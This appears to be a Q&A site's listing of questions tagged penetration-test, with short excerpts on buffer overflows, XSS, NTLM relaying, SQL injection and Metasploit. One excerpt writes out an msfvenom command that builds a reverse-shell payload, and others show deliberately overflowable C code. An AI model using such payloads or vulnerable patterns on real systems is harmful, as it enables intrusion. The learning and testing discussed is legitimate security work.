Questions tagged [penetration-test]
An attempt to penetrate a system's security in an effort to evaluate the protections in place.
1
vote
1answer
34 views
Why doesn't my systemctl command work?
I'm working on a pentest VM, and have elevated my user privileges to that of a common user. I can see from my enumeration scans that systemctl has a SUID bit set, and has the ownership group listed as ...
-2
votes
0answers
59 views
SDR and pen-testing [on hold]
While reading through some of the online literature I came across SDRs. I tried to find more information about these devices and how they can be used, however, comprehensive online tutorials are ...
-1
votes
0answers
40 views
How can I execute my JS payload?
So basically, I am trying to get my JavaScript scripts to work but due to the server-side filters such as htmlspecialchars it keeps failing.
Our input is placed between this block of code:
<div ...
1
vote
1answer
64 views
Simple buffer overflow trying to leak address of system()
Code:
#include <string.h>
void vuln(char *arg) {
char buffer[10];
strcpy(buffer, arg);
}
int main( int argc, char** argv ) {
vuln(argv[1]);
return 0;
}
I've determined I ...
1
vote
0answers
30 views
Basic buffer overflow able to overwrite EIP but doesn't correctly overwrite when using memory address
I wrote a basic vulnerable app in C.
#include
void vuln(char *arg) {
char buffer[10];
strcpy(buffer, arg);
}
int main( int argc, char** argv ) {
vuln(argv[1]);
return 0;
}
I ...
0
votes
0answers
58 views
Where are NTLM and LM hashes stored in a password protected microsoft presentation file
I have a password protected presentation file (MS office 2003).
My assignment required me to either remove the password or find it.
In my research i found out that presentation use ntlm and/or nt ...
0
votes
1answer
46 views
How to access a shared webhosting webpage without the domainname?
I would like to know how one can access a shared webhosted webpage without using the domainname. If i directly access the IP adress I get Apache is functioning normally
I need to access it since the ...
1
vote
0answers
70 views
For pen testing why would the client need to sign a NDA?
I'm starting the process of doing some pen testing and other security related things as a contractor. Specifically regarding pen testing. I have been Googling around to put together some docs for the ...
0
votes
0answers
42 views
Using Responder.py to WPAD Poisoning
I have set up Responder.py to WPAD Poisoning to display a Login-Prompt but it does not show it on Victims Machine if they surf to example google.com.
In Wireshark, i see that the WPAD is resolved to ...
1
vote
1answer
150 views
How to find a website behind a Firewall? [closed]
Some context for my question: I'm currently studying Information Security, and this is for an assignment from my teacher.
For my assignment, I received two IP addresses. I did a port scan with nmap ...
1
vote
1answer
78 views
Are there technical framework for IT sec audit just like there are management frameworks?
TL;DR
Are there technical frameworks (processes with checklists ruled by international standards like COBIT, ISO 27000) for IT security analysis/auditing ?
Hello,
Let's say you're a software ...
3
votes
0answers
49 views
Good book detailing the security aspects of Microsoft Active Directory [closed]
I am attending training later this summer related to AD pentesting. As such, I wanted to ask for book recommendations which detail (in full or in part) the security aspects of Active Directory. The ...
0
votes
0answers
72 views
How to fingerprint Windows 10 reliably?
Recently, I have been practicing penetration testing and I have come to a standstill when trying to fingerprint the OS for a Windows 10 target with nmap.
For the most part, I'm not able to identify ...
1
vote
1answer
75 views
It is possible to enumerate/discover IIS applications from outside?
I wonder if it is possible that someone, from the Internet, could be able to discover services provided via IIS by knowing only the IP address.
If yes, how? And how can I protect my IIS from this ...
0
votes
0answers
51 views
Execute internal penetration test without touching Active Directory
I'm part of a penetration testing team and part of my responsibilities for this quarter are organizing red team engagements for the rest of the year.
This quarter, we've received buy-in from all org ...
0
votes
0answers
88 views
Problems relaying NTLMv2 with Responder and MultiRelay
I'm currently experimenting with mitm relay attacks using Responder.py and MultiRelay.py tool and running into problems. I have the following LAB setup:
Kali Box:
IP: 192.168.1.13
...
0
votes
0answers
37 views
Executable reverse shell payload won't execute on linux machine
Payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222 LPORT=443 -f elf > hack.elf
Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp;
So after ...
0
votes
1answer
47 views
Incorrect results via Nexpose, but displaying correct one with Nmap
We are scanning our network via Nexpose. Recently an asset was found vulnerable to Wannacry CVE 2017-0146 SMB Remote code execution vulnerability. However when i have tested it same through Nmap it ...
0
votes
1answer
44 views
Nikto commandline options
I was reading from Nikto's site on the commandline options used and I am curious about this option
https://cirt.net/nikto2-docs/options.html
-ask
Whether to ask about submitting updates: yes (ask ...
0
votes
3answers
220 views
Will pentesting my own LAN violate ISP rules? [closed]
I want to learn and practice penetration testing on my own network, and I want to be sure I'm making it legal.
Is there a system that reports to my ISP that I'm making suspicious activities, even if ...
0
votes
0answers
72 views
SQLMAP injection with dynamic token?
I've a web app that has an injection point in POST data.
POST data requires 4 params and one of these is a session-custom token. The problem is that every time request is made i need to get a new ...
0
votes
0answers
43 views
Logging Keycode event in android secure or insecure?
During the android application security assessment, I have observed the application logging the keycode events at sensitive areas like credit card input field. Is it secure or not?
Please observe the ...
0
votes
1answer
75 views
Metasploit Exploitation with Virtual Hosts (PHP_Include Exploit)
I am currently trying to build an example of a host vulnerable to Remote File Inclusion vulnerabilities. I have a docker application which hosts 3 vulnerable websites, and in order to access them I ...
-2
votes
2answers
57 views
XSS with HTTP flag true
Since HTTP only flag is used to mitigate Cross Site scripting, we cannot perform XSS on the web application?
If we can, What are some best real time examples to pentest XSS when HTTPOnly Flag is true?...
0
votes
1answer
54 views
Securing Home Network using 3rd Party Firmware / Access Points
I've been having some trouble on my home network and thought that having a router as an AP would help fix these attacks. At first it did, but now it seems the attackers have gotten through. For all I ...
0
votes
0answers
92 views
How do hacking groups get a license anonymously for threat emulation software like Cobalt Strike?
I've seen that a lot of hacking groups replicate techniques and attacks from red teams using software like Cobalt Strike and Powershell frameworks for offensive security and red teaming like Nishang ...
0
votes
0answers
70 views
How to intercept packets of system apps in Android?
I am unable to capture packets of native android email app in burp suite but able to capture packets of chrome browser.
I have configured the proxy of my machine with burp port(8080) on the test ...
0
votes
1answer
33 views
Is there a technical security standard for internet facing test environments?
We have a number of test environments that are permanently internet facing to accommodate external and automated testers with dynamic IP addresses. While we regularly check the servers for security ...
0
votes
0answers
35 views
Cracking signing and HOTP blackboxes
If there are these blackboxes, both are using algorithms which are considered secure yet:
Blackbox will sign any message, no limit for messages to be signed.
Blackbox will generate 8‐digit HOTP code ...
4
votes
1answer
84 views
API pentesting for mobile and web. What's the difference?
So, I have to pentest an API that is both used by a web app and two mobile apps (Android and iOS, obviously). My question is: do I have to test three times (i.e., for each app) or just once (since it'...
0
votes
1answer
71 views
XSS: Character showing in DOM [closed]
I have created an html page that redirects user to a test site that has an XSS vulnerability. I am able to successfully execute javascript via the vulnerability. However, I have found that some of the ...
1
vote
1answer
117 views
Enterprise Standard for Linux server Penetration Testing
Is there any enterprise or global standard like "OWASP" which can be followed while doing penetration testing on Linux servers?
I want to know if there are any most common/important vulnerabilities ...
0
votes
0answers
60 views
How do i pivot over WAN
How would i be able to pivot into a internal network over the internet (WAN)?
For example: I have a vps with metasploit installed and have a listener running and got a few meterpreter sessions, how ...
0
votes
0answers
46 views
Finding hidden parameters manually for XSS
I am researching about XSS and Google helped me a lot about learning like how to bypass XSS filters, POST and GET based XSS .
I am really curious to know how to find hidden parameters manually for ...
0
votes
3answers
200 views
Setting up OWASP ZAP Authentication against 2 page forms authenication
My website is using Microsoft account authentication(live Id). Microsoft authentication is set up in 2 different pages. The 1st page you enter the username, and the next page the password. How do I ...
13
votes
1answer
1k views
Is XSS in canonical link possible?
During regular pentesting of my site I discovered that I can close double quotes in a canonical link tag and enter an onerror attribute with a simple javascript alert(1).
It is visible in source ...
2
votes
1answer
334 views
How to verify Diffie Hellman uses a “Safe” prime
I'm the developer for a web application that was recently pen tested. One of the vulnerabilities reported from the pen test is that our server uses an unsafe Diffie-Hellman prime in our key exchange. ...
-2
votes
2answers
139 views
how does DNS cache snooping work?
I've seen there are programs for pentesting, such as FOCA, that provide tools for DNS snooping. The part I don't understand is how can we know the DNS server an organization is using.
Also, from what ...
1
vote
0answers
37 views
Can an attacker spoof content provider, backup manager or wallpaper manager in Android?
We need a backup of SMSes, apps, device settings, wallpapers and contacts of the device through our designed app.
So, is it possible for an attacker to spoof, tamper, impersonate source data (SMSes, ...
0
votes
0answers
36 views
Is Metasploit payload stored locally or residing in memory temporarily on a victim's device?
A simple question on where the payload is when being exploited. Tried some testing on metasploit and got a message saying the payload's been uploaded successfully under /tmp in a linux target machine ...
5
votes
1answer
253 views
How can I find a web application's document root using a path traversal vulnerability?
I am performing a penetration testing on an application hosted on an Ubuntu environment.
So using a path traversal vulnerability, I can download any file.
The API web application runs as root (...
0
votes
1answer
55 views
Vulnerabilities for Red Team assessment [closed]
I'm working on my dissertation for my bachelor's degree. I'm trying to create a framework which would make it possible to launch an entire virtual infrastructure, this would then be used to simulate a ...
0
votes
0answers
28 views
how to substitute DisconnectHandlers of Joomla?
I am having problems with the exploit
**Joomla! 1.0 < 3.4.5 - Object Injection 'x-forwarded-for' Header Remote Code Execution
CVE : CVE-2015-8562 , CVE-2015-8566**
It doesn't work on Joomla ...
1
vote
2answers
283 views
jsp malicious file upload is possible, but no exploit scenario, should I report it?
I was pen testing a java web application, I could upload a malicious JSP file which was generated using METASPLOIT, however, I could not put the JSP file in the server directory so that it can be ...
0
votes
0answers
126 views
Error based SQL Injection Oracle
I have this valid GET request:
GET /restrict/menuApc.do?ID_ASSISTITO=ciao&MVPG=ApcAssistitiRicerca&s_TIPO_ASSISTITO=&s_ASSISTITO=giovanni&s_TIPO_SOGGETTO= HTTP/1.1
Host: test:8080
...
-4
votes
2answers
108 views
Just getting my masters in cyber security but still looking for a job [closed]
I completed the masters degree program from Perdue online last April '18. I see there is a great need in this field. I have been looking for a job daily but still haven't been able to find anything. ...
-1
votes
1answer
409 views
Pentesting SFTP Servers
I'm working in a enterprise environment where we are sending sensitive data back and forth to another company via SFTP servers on each end. These are accessible over the internet however IP white ...
1
vote
0answers
76 views
nmap - No Ports Open [closed]
I bought a Tonbux Smart WiFi Plug WL-SC01 and I'm doing some hack tests on it for educational purposes. I used nmap to check for both UDP and TCP ports but both return that there are no open ports at ...
1
vote
1answer
145 views
website hacked by someone proxying over a tor router
I'm curious to get an opinion on following: If someone decides to exploit some sort of vulnerability in a web application of mine or performs something of malicious intent, would this individual be ...
0
votes
1answer
62 views
Should I take (Pen test) approval from AWS for Fuzz testing my Application API's hosted on AWS? [closed]
I wanted to Fuzz Tests my API's on my own stack which are hosted on AWS environment (Have used lambdas and API gateway)
There are mostly GET APIs and only one PUT API.My requirement is to Fuzz Test ...
